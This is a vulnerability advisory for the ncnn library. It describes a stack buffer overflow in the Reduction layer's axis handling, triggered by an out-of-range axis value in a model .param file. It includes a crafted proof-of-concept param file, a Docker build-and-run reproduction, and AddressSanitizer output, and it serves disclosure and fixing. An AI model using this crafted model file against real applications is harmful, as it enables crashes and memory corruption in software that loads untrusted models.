Stack Buffer Overflow in Reduction Axis Handling
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/reduction.cpp:783 in Reduction::resolve_reduce_flags_and_output_shape
Sanitizer verdict: stack-buffer-overflow
Summary
A .param file can give a Reduction layer an axis value outside the tensor's dimension count; Reduction::resolve_reduce_flags_and_output_shape() uses that value directly as an index into a fixed four-element stack array, writing past it. The PoC feeds the file to ncnnoptimize, which reaches the layer through ModelWriter::shape_inference(), corrupting the optimizer's stack frame and aborting the process. Any application that runs a Reduction layer from an untrusted model is affected.
Detail
The untrusted field is the axes array, parameter id -23303 of the Reduction layer. Reduction::load_param() stores it verbatim — the only validation is the fixbug0 legacy-format check at parameter id 5, which the PoC satisfies with 5=1.
The resolver declares int axes_flag[4] for the at most four ncnn dimensions and indexes it with each supplied axis. Negative values are folded into range by adding dims, but values greater than or equal to dims are never rejected or clamped:
// src/layer/reduction.cpp:772
int axes_flag[4] = {0};
const int* axes_ptr = axes;
const int reduced_axes_num = axes.w;
for (int i = 0; i < reduced_axes_num; i++)
{
int axis = axes_ptr[i];
// handle negative axis
if (axis < 0)
axis += dims;
axes_flag[axis] = 1;
}
The PoC declares a four-dimensional input (0=2 1=2 11=2 2=2) and a Reduction layer with -23303=2,4,0, i.e. an axis list of {4, 0}. Axis 4 is non-negative, so the negative-axis fix-up does not apply and axes_flag[4] = 1 executes at line 783.
axes_flag occupies 16 bytes on the stack, so the write lands at offset 16 — the first int past the array. ASan confirms this precisely, naming the overflowed variable: [96, 112) 'axes_flag' (line 772) <== Memory access at offset 112 overflows this variable. The axis value is fully attacker-controlled, so the write offset within the frame is as well.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-stack-buffer-overflow-in-reduction-axis-handling
cd ncnn-poc-stack-buffer-overflow-in-reduction-axis-handling
cat > Dockerfile <<'EOF'
FROM ubuntu:24.04
RUN apt-get update && \
apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make \
python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev && \
pip3 install --no-cache-dir --break-system-packages onnx protobuf && \
rm -rf /var/lib/apt/lists/*
WORKDIR /app
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git
WORKDIR /app/ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fno-omit-frame-pointer -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fno-omit-frame-pointer -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON \
-DNCNN_BUILD_EXAMPLES=ON \
-DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF \
-DNCNN_VULKAN=OFF \
-DNCNN_OPENMP=OFF \
-DNCNN_INSTALL_SDK=OFF && \
cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0:symbolize=1:print_stacktrace=1
WORKDIR /work
EOF
cat > poc.param <<'EOF'
7767517
2 2
Input data 0 1 data 0=2 1=2 11=2 2=2
Reduction red 1 1 data out 0=0 1=0 2=1 -23303=2,4,0 4=1 5=1
EOF
docker build -t ncnn-asan .
docker run --rm --network none \
-v "$PWD:/work" \
ncnn-asan \
/app/ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0
AddressSanitizer output:
shape_inference
=================================================================
==12==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7f6659004370 at pc 0x5d74cafcb7ff bp 0x7ffc17f2b860 sp 0x7ffc17f2b850
WRITE of size 4 at 0x7f6659004370 thread T0
#0 0x5d74cafcb7fe in ncnn::Reduction::resolve_reduce_flags_and_output_shape(ncnn::Mat const&, bool&, bool&, bool&, bool&, int&, int&, int&, int&, int&) const /app/ncnn/src/layer/reduction.cpp:783
#1 0x5d74cafccca4 in ncnn::Reduction::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /app/ncnn/src/layer/reduction.cpp:862
#2 0x5d74c7728f2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /app/ncnn/src/net.cpp:721
#3 0x5d74c771ab7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /app/ncnn/src/net.cpp:167
#4 0x5d74c777a9e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /app/ncnn/src/net.cpp:2939
#5 0x5d74c760c3c0 in ModelWriter::shape_inference() /app/ncnn/tools/modelwriter.h:435
#6 0x5d74c7689eee in main /app/ncnn/tools/ncnnoptimize.cpp:2844
#7 0x7f665b1b71c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#8 0x7f665b1b728a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#9 0x5d74c7609624 in _start (/app/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: f7faa360d9341dde38bd49a328288328e9981f57)
Address 0x7f6659004370 is located in stack of thread T0 at offset 112 in frame
#0 0x5d74cafcb3a7 in ncnn::Reduction::resolve_reduce_flags_and_output_shape(ncnn::Mat const&, bool&, bool&, bool&, bool&, int&, int&, int&, int&, int&) const /app/ncnn/src/layer/reduction.cpp:754
This frame has 2 object(s):
[32, 56) 'out_shape' (line 821)
[96, 112) 'axes_flag' (line 772) <== Memory access at offset 112 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /app/ncnn/src/layer/reduction.cpp:783 in ncnn::Reduction::resolve_reduce_flags_and_output_shape(ncnn::Mat const&, bool&, bool&, bool&, bool&, int&, int&, int&, int&, int&) const
SUMMARY: AddressSanitizer: stack-buffer-overflow /app/ncnn/src/layer/reduction.cpp:783 in ncnn::Reduction::resolve_reduce_flags_and_output_shape(ncnn::Mat const&, bool&, bool&, bool&, bool&, int&, int&, int&, int&, int&) const
Credit
Zheng Yu @ DepthFirst